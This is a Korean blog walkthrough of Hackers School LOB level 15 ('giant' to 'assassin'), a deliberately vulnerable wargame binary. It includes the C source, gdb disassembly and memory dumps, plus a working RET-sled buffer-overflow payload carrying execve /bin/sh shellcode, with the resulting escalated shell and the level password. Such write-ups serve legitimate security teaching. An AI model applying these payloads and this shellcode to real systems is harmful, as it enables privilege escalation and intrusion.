[해커스쿨 LOB] Level15: Giant >> Assassin

두비니

·

2020. 8. 5. 06:30

 

 


Level 14. Bugbear >> Giant

Theme: no stack, no RTL


 

로그인

id : giant
pw : one step closer

 

 

bash2 & 코드확인

[giant@localhost giant]$ bash2
[giant@localhost giant]$ nl assassin.c
     1  /*
     2          The Lord of the BOF : The Fellowship of the BOF
     3          - assassin
     4          - no stack, no RTL
     5  */

     6  #include <stdio.h>
     7  #include <stdlib.h>

     8  main(int argc, char *argv[])
     9  {
    10          char buffer[40];

    11          if(argc < 2){
    12                  printf("argv error\n");
    13                  exit(0);
    14          }

    15          if(argv[1][47] == '\xbf')
    16          {
    17                  printf("stack retbayed you!\n");	//오타났대요 풉키
    18                  exit(0);	
    19          }

    20          if(argv[1][47] == '\x40')
    21          {
    22                  printf("library retbayed you, too!!\n");
    23                  exit(0);
    24          }

    25          strcpy(buffer, argv[1]);
    26          printf("%s\n", buffer);

    27          // buffer+sfp hunter
    28          memset(buffer, 0, 44);
    29  }

 

 

제한조건

1. 매개변수 최소 1개 넘겨주기 (argv error)

2. stack영역 사용불가 (stack betrayed you!)

3. library영역 사용불가 (library betrayed you, too!!)

4. buffer + sfp영역 사용 불가 (buffer + sfp hunter)

 

 

음 한줄로 정리하자면 여태껏 사용한 방법 다 못씁니다. 

근데 지금 결국 ret이후의 영역은 모두 다 사용 가능하다는 점을 이용해서 문제를 풀어볼 것입니다.

 

일단 방법은 RET Sled라는 방법을 활용할 것입니다.

 

참고: https://dokhakdubini.tistory.com/235

 

[Stack] RET sled에 대하여

오늘은 RET Sled에 대해서 알아볼 것입니다. RET Sled는 Return Address영역에 RET 명령어의 주소를 연속적으로 삽입해서 esp를 조작하는 기법입니다. 일단 RET의 구조를 한번 봅시다. Internal of "ret" pop eip..

dokhakdubini.tistory.com

 

RET Sled는 읽었다고 가정하고, 진행하겠습니다.

 

RET Sled를 사용할 것이니, return address로는 ret의 code영역 주소를 삽입하고, 그 뒤에는 shellcode의 주소를 넣으면 될 것 같습니다.

shellcode는 아무 영역에 넣어도 상관이 없지만 저는 argv[2]에 넣겠습니다. 그러면 payload는 

 

::payload::

 

`python -c 'print "A"*44 + (ret명령주소) + (shellcode주소)'`

 

겠네요. 찾을거는 ret명령주소와 shellcode주소겠네요.

 

 

 

 

1. ret명령주소

 

main함수의 어셈코드보면 끝나죠?

 

[giant@localhost giant]$ cp assassin assassil
[giant@localhost giant]$ gdb -q assassil
(gdb) disas main
Dump of assembler code for function main:
0x8048470 <main>:       push   %ebp
0x8048471 <main+1>:     mov    %esp,%ebp
0x8048473 <main+3>:     sub    $0x28,%esp
0x8048476 <main+6>:     cmpl   $0x1,0x8(%ebp)
0x804847a <main+10>:    jg     0x8048493 <main+35>
0x804847c <main+12>:    push   $0x8048570
0x8048481 <main+17>:    call   0x8048378 <printf>
0x8048486 <main+22>:    add    $0x4,%esp
....
0x8048505 <main+149>:   call   0x8048378 <printf>
0x804850a <main+154>:   add    $0x8,%esp
0x804850d <main+157>:   push   $0x2c
0x804850f <main+159>:   push   $0x0
0x8048511 <main+161>:   lea    0xffffffd8(%ebp),%eax
0x8048514 <main+164>:   push   %eax
0x8048515 <main+165>:   call   0x8048398 <memset>
0x804851a <main+170>:   add    $0xc,%esp
0x804851d <main+173>:   leave
0x804851e <main+174>:   ret
0x804851f <main+175>:   nop
End of assembler dump.
(gdb)

 

ret명령 주소: 0x804851e

 

 

2. shellcode주소

 

앞에서 말했다시피 argv[2]에 삽입한 후 주소를 찾아줄 것입니다.

b * main+170은 memset 직후입니다.

(gdb) b * main+170
Breakpoint 1 at 0x804851a
(gdb) Quit
(gdb) r `python -c 'print "A"*44 + "\xaa\xaa\xaa\xaa"+"\xbb\xbb\xbb\xbb"'` `python -c 'print "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x8\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
Starting program: /home/giant/assassil `python -c 'print "A"*44 + "\xaa\xaa\xaa\xaa"+"\xbb\xbb\xbb\xbb"'` `python -c 'print "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x8\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒▒▒▒▒▒

Breakpoint 1, 0x804851a in main ()
(gdb) x/100x $esp
0xbffffa24:     0xbffffa30      0x00000000      0x0000002c      0x00000000
0xbffffa34:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffa44:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffa54:     0x00000000      0x00000000      0xaaaaaaaa      0xbbbbbbbb
0xbffffa64:     0xbffffa00      0xbffffab4      0x40013868      0x00000003
0xbffffa74:     0x080483c0      0x00000000      0x080483e1      0x08048470
0xbffffa84:     0x00000003      0xbffffaa4      0x08048308      0x0804854c
0xbffffa94:     0x4000ae60      0xbffffa9c      0x40013e90      0x00000003
0xbffffaa4:     0xbffffb9d      0xbffffbb2      0xbffffbe7      0x00000000
0xbffffab4:     0xbffffc7e      0xbffffca0      0xbffffcaa      0xbffffcb8
0xbffffac4:     0xbffffcd7      0xbffffce5      0xbffffcfe      0xbffffd19
0xbffffad4:     0xbffffd38      0xbffffd43      0xbffffd51      0xbffffd92
0xbffffae4:     0xbffffda3      0xbffffdb8      0xbffffdc8      0xbffffdd3
0xbffffaf4:     0xbffffdf0      0xbffffdfb      0xbffffe0c      0xbffffe1c
0xbffffb04:     0xbffffe24      0x00000000      0x00000003      0x08048034
0xbffffb14:     0x00000004      0x00000020      0x00000005      0x00000006
0xbffffb24:     0x00000006      0x00001000      0x00000007      0x40000000
0xbffffb34:     0x00000008      0x00000000      0x00000009      0x080483c0
0xbffffb44:     0x0000000b      0x00000202      0x0000000c      0x00000202
0xbffffb54:     0x0000000d      0x00000202      0x0000000e      0x00000202
0xbffffb64:     0x00000010      0x0f8bfbff      0x0000000f      0xbffffb98
0xbffffb74:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffb84:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffb94:     0x00000000      0x36383669      0x6f682f00      0x672f656d
0xbffffba4:     0x746e6169      0x7373612f      0x69737361      0x4141006c
(gdb)
0xbffffbb4:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffbc4:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffbd4:     0x41414141      0x41414141      0xaaaa4141      0xbbbbaaaa
0xbffffbe4:     0x9000bbbb      0x90909090      0x90909090      0x90909090
0xbffffbf4:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffc04:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffc14:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffc24:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffc34:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffc44:     0x90909090      0x31909090      0x2f6850c0      0x6868732f
0xbffffc54:     0x6e69622f      0x5350e389      0xc289e189      0x08cd0bb0
0xbffffc64:     0x6850c031      0x68732f2f      0x69622f68      0x50e3896e
0xbffffc74:     0x89e18953      0xcd0bb0c2      0x454c0080      0x504f5353
0xbffffc84:     0x7c3d4e45      0x7273752f      0x6e69622f      0x73656c2f
0xbffffc94:     0x70697073      0x68732e65      0x00732520      0x52455355
0xbffffca4:     0x454d414e      0x4948003d      0x49535453      0x313d455a
0xbffffcb4:     0x00303030      0x54534f48      0x454d414e      0x636f6c3d
0xbffffcc4:     0x6f686c61      0x6c2e7473      0x6c61636f      0x616d6f64
0xbffffcd4:     0x4c006e69      0x414e474f      0x673d454d      0x746e6169
0xbffffce4:     0x4d455200      0x4845544f      0x3d54534f      0x2e323931
0xbffffcf4:     0x2e383631      0x2e343431      0x414d0031      0x2f3d4c49
0xbffffd04:     0x2f726176      0x6f6f7073      0x616d2f6c      0x672f6c69
0xbffffd14:     0x746e6169      0x43414d00      0x50595448      0x33693d45
0xbffffd24:     0x722d3638      0x61686465      0x696c2d74      0x2d78756e
0xbffffd34:     0x00756e67      0x4d524554      0x6574783d      0x48006d72
(gdb)

 

0xbffffa54에 ret값이 잘 덮어씌워진걸 확인할 수 있고, 그 뒤값을 더 확인해보면 argv[2]에 넣어두었던 쉘코드도 잘 있네요. 쉘코드의 주소는 0xbffffc24로 가져갈게요.

 

 

[giant@localhost giant]$ ./assassin `python -c 'print "A"*44 + "\x1e\x85\x04\x08"+"\x24\xfc\xff\xbf"'` `python -c 'print "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x8\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$▒▒▒
Segmentation fault

어림도없죠?

 

 

음...이게 안될 이유가 없는데 안되서 좀 뒤져보니깐 bash2 분명히 했는데 안된 상태로 레지스터가 찍히더라구요....

 

원래 저부분이 0xbffffc24인데 그 뒤에 bf까지 같이 씹히는걸 봐서 분명히 bash2안해서 생기는 문제인데...

 

지금 한 5번정도 껐다키고 bash2하고 난리를 쳤는데 안되서.... 최대한 빠른 시일 내로 수정하도록 하겠습니다.

패스워드는 pushing me away입니다. bash2적용안되는거 제외하고는 모두 다 맞아서 일단 올립니당

 

 

+) 아무리 반복해도 같은 방법이 반복되어서 shellcode를 환경변수로 선언해서 환경변수의 주소로 풀었습니다.

 

 [giant@localhost giant]$ ./assassin `python -c 'print "A"*44 + "\x1e\x85\x04\x08"+"\x56\xfe\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAV▒▒▒
bash$ id
uid=514(giant) gid=514(giant) euid=515(assassin) egid=515(assassin) groups=514(giant)
bash$ my-pass
euid = 515
pushing me away

 

 

++) 참고로 며칠뒤에 다시풀어봤는데 첫 번째 방법도 되네요. 왜 안됐던거지?? 흠....